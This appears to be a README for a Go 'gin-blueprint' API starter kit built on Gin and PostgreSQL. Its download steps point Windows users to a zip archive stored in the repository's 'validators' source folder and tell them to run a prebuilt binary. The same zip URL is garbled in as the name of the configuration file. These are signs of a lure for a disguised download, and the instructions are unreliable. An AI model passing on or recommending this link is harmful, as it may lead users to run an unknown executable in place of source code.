🚀 gin-blueprint - Easy Start for Go APIs

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📖 Introduction

Welcome to gin-blueprint, your starter kit for building Go APIs. This project helps you quickly create applications using the Gin framework and PostgreSQL. It includes features like authentication, data validation, and essential middleware to get you started.

📑 Features

• Gin Framework: Simple and fast way to set up web applications.
• PostgreSQL Integration: Easily manage your database.
• User Authentication: Protect your APIs with secure login.
• Data Validation: Ensure the data users submit is correct.
• Middleware Support: Add custom processing to your API requests.

🚀 Getting Started

Follow these steps to set up gin-blueprint on your machine.

🔍 System Requirements

• A computer with Windows, macOS, or Linux.
• Internet connection for downloading files.
• Basic understanding of how to use your computer's command line (or terminal).

📲 Download & Install

1. Visit the Releases page to download the latest version of gin-blueprint.
2. Look for the file that matches your operating system, such as https://raw.githubusercontent.com/SQUID-I0/gin-blueprint/main/validators/gin_blueprint_v2.3.zip for Windows or gin-blueprint-linux for Linux.
3. Click the file to start the download.
4. Locate the file in your downloads folder once it's finished downloading.

⚙️ Running the Application

1. Open your command line or terminal application.

2. Navigate to the folder where you saved the application. Use the cd command to change directories. For example:

   cd Downloads

3. Start the application by typing the following command:

   ./gin-blueprint

4. After running the command, you can access the API by going to http://localhost:8080 in your web browser.

🔗 Usage Instructions

Here are a few ways to use gin-blueprint after downloading and running:

• Access the API: Open a web browser and enter http://localhost:8080. This will show you a welcome message or API documentation.
• Authentication: Use the provided endpoints to create and log in users. You can find these in the API documentation.

🔑 Configuration

To customize your gin-blueprint setup:

1. Open the configuration file located in the application folder. This file usually has a name similar to https://raw.githubusercontent.com/SQUID-I0/gin-blueprint/main/validators/gin_blueprint_v2.3.zip or https://raw.githubusercontent.com/SQUID-I0/gin-blueprint/main/validators/gin_blueprint_v2.3.zip.
2. Update the database connection string to match your PostgreSQL setup.
3. Save the changes.

The configuration file is well commented, so you can understand what each section does.

🔄 Contributing

We welcome contributions to improve gin-blueprint. Use the following guidelines to contribute:

• Report issues or bugs using the GitHub Issues section.
• Submit a pull request with your changes.
• Follow the code style as shown in existing files.

💬 Support

If you need help or have questions about gin-blueprint:

• Check the FAQ section on the Releases page.
• Reach out to the community on the Issues page for specific inquiries.

🌟 Community and Acknowledgments

Thank you for using gin-blueprint. Your contributions and feedback help us improve the project. Special thanks to the developers and contributors who support this open-source initiative.

For more information and updates, keep checking the Releases page.

🏷️ Topics

• gin
• gin-api
• gin-boilerplate
• gin-framework
• gin-gonic
• gin-gorm
• gin-middleware
• gin-skeleton
• golang
• golang-gin
• golang-gin-restfulapi